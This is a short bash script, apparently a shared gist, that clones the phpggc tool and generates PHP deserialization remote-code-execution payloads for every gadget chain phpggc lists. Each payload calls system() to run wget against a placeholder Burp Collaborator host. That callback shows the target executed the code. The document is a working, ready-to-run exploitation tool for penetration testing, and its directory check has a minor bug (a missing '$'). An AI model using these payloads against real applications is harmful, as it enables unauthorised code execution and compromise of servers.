Automatically generate properly formatted RCE payloads for every gadget chain in phpggc.

phpggc-generate-payloads.sh

#!/bin/bash

# phpggc wrapper that automatically generates payloads for RCE gadgets
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )"
if [[ ! -d SCRIPT_DIR/phpggc ]]
then
   git clone https://github.com/ambionics/phpggc ${SCRIPT_DIR}/phpggc
fi

function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"

# generate gadget chains
php phpggc/phpggc -l | grep RCE | cut -d' ' -f1 | xargs -L 1 php phpggc/phpggc -i | grep 'phpggc ' --line-buffered |
while read line;  do
   gadget=$(echo $line | cut -d' ' -f2) &&
   if echo $line | grep -q "<function> <parameter>"; then
      php phpggc/phpggc $options $gadget "$function" "$command?$(date +%s)"
   elif echo $line | grep -q "<code>"; then
      php phpggc/phpggc $options $gadget "$function('$command?$(date +%s)');"
   elif echo $line | grep -q "<command>"; then
      php phpggc/phpggc $options $gadget "$command?$(date +%s)"
   else
      php phpggc/phpggc $options $gadget
   fi;
done